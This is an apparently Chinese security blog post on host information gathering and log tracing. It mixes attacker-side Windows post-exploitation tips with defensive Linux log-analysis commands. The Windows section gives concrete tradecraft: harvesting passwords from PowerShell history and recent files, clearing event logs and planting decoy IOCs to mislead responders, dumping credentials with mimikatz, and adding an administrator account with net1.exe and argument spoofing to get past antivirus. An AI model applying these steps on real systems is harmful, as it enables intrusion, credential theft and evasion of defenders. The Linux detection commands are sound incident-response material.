蓝队日志溯源
windwos主机信息收集
Windows主机信息收集
powershell命令历史记录
可以使用powershell进行查看
powershell Get-Content (Get-PSReadlineOption).HistorySavePath |
某些情况下,该命令可能无法使用,我们可先用dir查看powershell历史命令记录文件的存放位置,然后使用type进行读取
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
type C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
PS:打点时遇到Windows环境的文件下载漏洞,可下载以下文件进行敏感信息翻阅,某些运维会使用powershell进行管理工作组或域内机器,运气好的可以找到ssh、数据库这类登录密码或其它重要文件,尤其是一些运维用的脚本,里面大多包含主机、数据库登录密码,可通过powershell历史记录找到这些脚本的绝对路径,然后在使用文件下载漏洞进行读取,这也是一个不错的突破点,而且这些历史命令大多包含链接主机信息,可提取里面的IP段,扩宽我们的攻击面。
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
渗透结束时,如果使用过powershell的,务必清除powershell命令历史记录,在一定程度上可以减少被溯源成功的概率,当然,也可以迷惑蓝队,写入一些奇怪的命令,例如把上线的C2地址更改为境外的已公开IOC情报的挖矿IP,然后丢进来几个挖坑样本,误导蓝队进行溯源消耗防守方的精力,伪造痕迹的时候记得更改文件时间,还得注意下语言文字这些细节,不然蓝队看到中文名字、错误语法和时间的挖矿,结合攻防演练时间,第一时间肯定会知道这是伪造出来的,如果内网存在IDS这样的流量审计设备,蓝队一定位机器查看设备流量,说不定还可能暴露我们的踪迹
这目录里面放着电脑的历史打开文件记录,看过什么文件、什么时候,包括点过那几个盘,都很详细的记录,我们可通过该目录定位运维常用的文件夹、文件等,寻找敏感信息,查看这个目录往往有奇效,很多时候运维为了方便管理机器喜欢用密码小本本来记录各个机器的密码,毕竟一个运维管理几十台机器是非常常见,这么多密码不一定记得住,所以大多数运维会选择把机器密码记录在txt、xls这种文件里,这也就给了我们可乘之机,其实我在这个目录遇到最多的还是运维写的日报、周报,很多时候这些报告里面包含了大量服务器信息,这时候我们就可以通过这些敏感信息进一步内网横向。
recent |
大多数时候我们的起点都是webshell权限,如果没有判断管理员是否在线,是否有IDS这种流量检测设备,那么在第一时间最好不要冒然远程过去,不然就是得不偿失了;recent无法使用,这时候我们可以使用dir读取历史打开文件,然后再利用dir搜索关键字得到文件的绝对路径,这样我们就可以直接在webshell中进行查看或下载回来本地打开了。
dir %APPDATA%\Microsoft\Windows\Recent |
其它的常用关键字搜索,
dir /a /s /b c:\*.conf *.ini *.inc *.config |
某些时候显示内容过多,可对这些关键字进行逐个搜索,或使用findstr进行过滤,如:
dir /a /s /b c:\*.conf *.ini *.inc *.config | findstr "运维" |
另外可到回收站翻翻,很多时候会有惊喜。
前面说到了recent目录记录到了查看历史打开文件,在后渗透时,我们通常会往目标机子上传各种文件,例如nps、mimikatz、psexec等,这些工具在使用过程中,大多会在recent目录产生记录,这时候为了更好的隐藏痕迹,我们可以rd命令删除运行记录或直接使用CS或webshell管理工具提供的文件管理功能删除该记录,另外psexec成功登录退出后,会在目标机器的安全日志中产生Event 4624、4628、4634,在系统日志中产生Event 7045(记录PSEXESVC安装)、Event 7036(记录PSEXESVC服务状态),Windows日志也需要处理下;关于清理痕迹不是本文的主题,就不多赘述了,对于应急的同学可以多关注下recent文件夹和Windows日志,在不手动清理或者使用某些安全工具清理垃圾的时候,recent这个目录为空或者很少东西,那么应该要注意下了。
rd /s 文件 |
windows 日志路径:
系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx |
powershell清除Windows事件日志
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}" |
PS:上传后的文件如果不能删除(没权限或其它因素),那么可以上传或新建同名文件,覆盖掉原有文件。
敏感文件寻找
- 服务器、中间件、数据库这类配置文件。
- 运维密码、工作记录、个人记录这些。
- 公司文件、合同、网络拓扑图这类。
- ……
服务器、中间件、数据库这类配置文件的重要性大家都懂,渗透的时候如果获取到一个包含大量敏感信息的配置文件,那将会为我们在后渗透作出良好的铺垫,如下。
某次项目时,拿到一个存在内网的shell,通过对主机信息收集,发现某配置文件Config-back.xml包含了大量的数据库账号密码,之后使用CS下载该配置文件到本地,然后搭建代理利用这些账号密码批量上线MSSQL主机,再结合这些密码制作出高质量字典爆破C段机器,用了不到30分钟拿到了200多台机器权限,所以说渗透的本质是信息搜集,信息搜集的量决定着我们渗透的成果,关于配置文件的查找这里就不多说了,可参考上面的dir命令进行查找。
dir /a /s /b d:\conf.* config.* |
另外就是要多关注下web系统本身存放的文件,之前遇到过一个IBM系统,里面有个云盘功能,之后翻这个功能模块找到了个运维建立的文件夹,里面存放了大量的数据,什么网络拓扑图、运维日志、甚至还有账号密码,还有的就是做等保渗透的时候,远程到运维机,桌面一大堆设备清单,还有各个系统的账号密码,而且这些xlsx表格都是不加密的,直接打开就能查看,一些运维为了贪图方便,往往会非常严重的安全隐患,给了入侵者很大的机会。
这里再补充一下WiFi密码获取这个点,在内网渗透,密码获取到的越多,路就越好走,很多时候内网的密码都是通用的,就算是不通用,大部分的密码也是有规律可循的,关于密码的获取可使用LaZagne。
CMD获取WiFi密码
netsh wlan show profiles |
如果已经取得当前机器的管理员权限的话,可运行mimikatz、procdump之类凭据获取工具获取系统凭据,因为多数管理员可能使用同一密码或有规律性的密码来管理多台服务器,如果能够得到主机密码或者hash就可以尝试pth或psexec批量上线了;还有就是在进程收集的时候要多留意一下是否有域管启用的进程,如果刚好域管理员登录过我们已经有权限的机器,那么就可以利用域管进程进行横向了,如果没有的话可关注下ms14068,域委派这类东西,这些都是后渗透基本常识了,这里不多赘述。
域信息收集常用命令
常用命令
net use 查看ipc连接情况 |
网络信息查找
ipconfig /all 查看当前主机的主机名/IP/DNS等信息 |
寻找内网网段时建议被动寻找,主动寻找动静太大,如nmap、nbtscan这种一扫,可能整个网段内存活的机器就出来了,但随之而来的是IDS的流量审计,一旦引起流量异常被蓝队察觉,可能就会导致我们权限的丢失,永远不要小瞧蓝队,而且还是拥有各种安全设备的蓝队,内网渗透一定要谨慎,大规模资产扫描,自动化漏洞扫描我一般会留到最后才上的。
定位域控
查看域时间,一般域控会做时间服务器
net time /domain |
通过dns定位域控
ipconfig /allipconfig /displaydns 有些时候可以在dns缓存得到域控信息 |
利用netdom获取域控列表,得到域控名称可通过ping获取域控IP
netdom query dc |
其它信息查找
systeminfo 查看补丁情况,也能看到当前机器是否加入域环境 |
其它补充
web日志
有些老系统会使用get+明文的方式传输后台登录账号密码,我们可翻查下web日志,说不定有收获,还有就是要注意系统本身的日志,这些日志大多包含内网IP段,甚至还有账号密码这些东西。
使用net1.exe绕过杀软添加用户
windows环境渗透添加用户往往会被AV拦截,而且还会产生告警日志,这时候可使用net1.exe绕过杀软添加用户,当然,也可使用cs自带的argue参数污染进行用户添加。
net1.exe
cd c:/windows/system32 |
argue参数污染
net1 argue net1 aaaaaaaaaaaaaaaaaaaaaaaassssssssssssssssssssssssssssssssssssssssssssssssss |
正常使用net添加用户会被火绒拦截
添加用户并加到管理员组
m1kh.txt user m1kh M@Bas#as#@123 /add & net localgroup administrators m1kh /add |
linux主机信息收集
网络信息收集
last 多数运维会接入内网登录系统,这时候,便可获取部分内网ip 进而对内网IP段进行画像 |
敏感文件收集
grep "password:" * -Rn |
其他补充
history命令
history 在linux渗透时是非常实用的,各种连接密码,ssh、mysql、ftp等等,在拿到权限是应该着重看看这个文件
日志相关命令
last命令记录着所有用户登录系统的日志,可以用来查找非授权用户的登录事件,而last命令的输出结果来源于/var/log/wtmp文件,稍有经验的入侵者都会删掉/var/log/wtmp以清除自己行踪,但是还是会露出蛛丝马迹在此文件中的。
可用以下命令分析用户登录行为
who 查看当前登录用户(tty本地登陆 pts远程登录) |
进程和端口检查
进程检查
用ps命令查看服务器上的所有进程,定位恶意进程。
ps -a 列出的是当前控制终端启动的进程 |
进程过多的话也可以用命令:ps -aux | grep 进程名 定位到恶意程序
ps -aux | grep 进程名 |
proc
这里简要说一下proc:
/proc 是一个伪文件系统,这个伪文件系统让你可以和内核内部数据结构进行交互,与真正的文件系统不同的是它是存在于内存中而不是真正的硬盘上,所以重启后/proc会被重置掉,linux 下有一个说法即一切皆文件,所有在linux上运行的程序都在/proc下有一个自己的目录,目录名字为程序的Pid号,目录里面存储着许多关于进程的信息,列如进程状态status,进程启动时的相关命令cmdline,进程的内存映像maps,进程包含的所有相关的文件描述符fd文件夹等等
其中 /proc/pid/fd 中包含着进程打开的所有文件的文件描述符,这些文件描述符看起来像链接文件一样,通过ls -l 你可以看见这些文件的具体位置,但是它们并不是简单连接文件,你可以通过这些文件描述符再打开这些文件,你可以重新获得一个新的文件描述符,即使这些文件在你所在的位置是不能访问,你依然可以打开。 还一个 /proc/pid/exe 文件,这个文件指向进程本身的可执行文件。
所以在得到PID后,我们就能利用以下命令获取该PID所对应的进程文件路径,获取进程的详细信息了:
ls -l /proc/$PID/exe |
history信息检查
攻击者入侵后,往往会顺手把历史操作命令给清除掉(history -c),但此命令并不会清除保存在文件中的记录,因此打开/home各帐号目录下的.bash_history,查看每个用户目录下的.bash_history文件,特别是/root目录下的.bash_history文件,此文件中记录着用户执行的所有历史命令,很多时候攻击者会通过wget下载恶意木马到服务器,这时候查看history说不定就能捕获攻击者的C2服务器了。
history |
history优化
cat /etc/ssh/sshd_config
历史的命令增加登录的IP地址、执行命令时间等信息: |
主机服务分析
枚举主机所有服务,查看是否有恶意服务。
service --status-all |
定时任务分析
定时任务对于玩CTF和做渗透的师傅应该都不陌生
查看单个用户的定时任务
crontab -l |
循环遍历所有用户的定时任务
for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -l -u $u;done |
anacron异步定时任务查看
cat /etc/anacrontab |
除此之外,以下目录中也可能存在恶意脚本,需进一步排查。
/var/spool/cron/* |
查看CPU运行
定位挖矿时很实用
top |
ssh秘钥分析
redis未授权访问漏洞可直接向服务器写入公钥,从而实现无密码登录服务器,之前也写过类似的文章,所以要重点关注/etc/.ssh、 ~/.ssh 目录下有无可疑公钥
ll -al /etc/ssh/ |
日志分析
查看日志是查找攻击源最好的方法,虽然耗时长;linux日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
日志文件 | 说明 |
---|---|
/var/log/cron | 记录了系统定时任务相关的日志 |
/var/log/cups | 记录打印信息的日志 |
/var/log/dmesg | 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 |
/var/log/mailog | 记录邮件信息 |
/var/log/message | 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件 |
/var/log/btmp | 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看 |
/var/log/lastlog | 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看 |
/var/log/wtmp | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看 |
/var/log/utmp | 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询 |
/var/log/secure | 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中 |
主机日志分析
查看登录失败信息
grep -o "Failed password" /var/log/secure|uniq -c |
输出登录爆破的第一行和最后一行,确认爆破时间范围
grep "Failed password" /var/log/secure|head -1 |
查看有哪些IP在爆破root帐号
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more |
输出有爆破行为的IP
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c |
输出被爆破的用户名
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr |
查看登录成功的日期、用户名、IP
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' |
查看哪些IP登录成功了
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more |
web日志分析
先统计请求ip,方便后续分析(取出日志可用sz命令或者xftp)
awk '{print $1}' blog.m1kh.com.log | sort | uniq -c | sort -rn | more |
统计下日志有多少行
wc -l blog.m1kh.com.log #-l统计行数 |
状态码统计
cat blog.m1kh.com.log |awk '{print $9}'|sort|uniq -c|sort -rn |
URL 统计(200)
grep "183.6.56.66" blog.m1kh.com.log | awk '{if ($9==200) print $1,$7,$9}' |
查看并统计200的状态码及ip(去重后)
cat blog.m1kh.com.log | awk '{if ($9=200) print $1,$7,$9}'|sort|uniq -c|sort -rn | head -20 |
有时候遇到目录扫描会产生大量日志,这时候我们可以分开看,可用awk进行分割,只看状态码为200的。
more blog.m1kh.com.log | egrep "\.zip|\.rar|\.mdb|\.inc|\.sql|\.config|\.bak|/login.inc.php|/.svn/|/mysql/|config.inc.php|\.bak|wwwroot|网站备份|/gf_admin/|/DataBackup/|/Web.config|/web.config|/1.txt|/test.txt|www.zip|www.tar" > test.log |
杂项
开机启动的一些路径
/etc/rc.d/rc |
grep指令
2、grep 查找含有某字符串的所有文件
grep -rn "hello,world!" |
4、find /etc -name init
//在目录/etc中查找文件init |
A、/var/log/secure |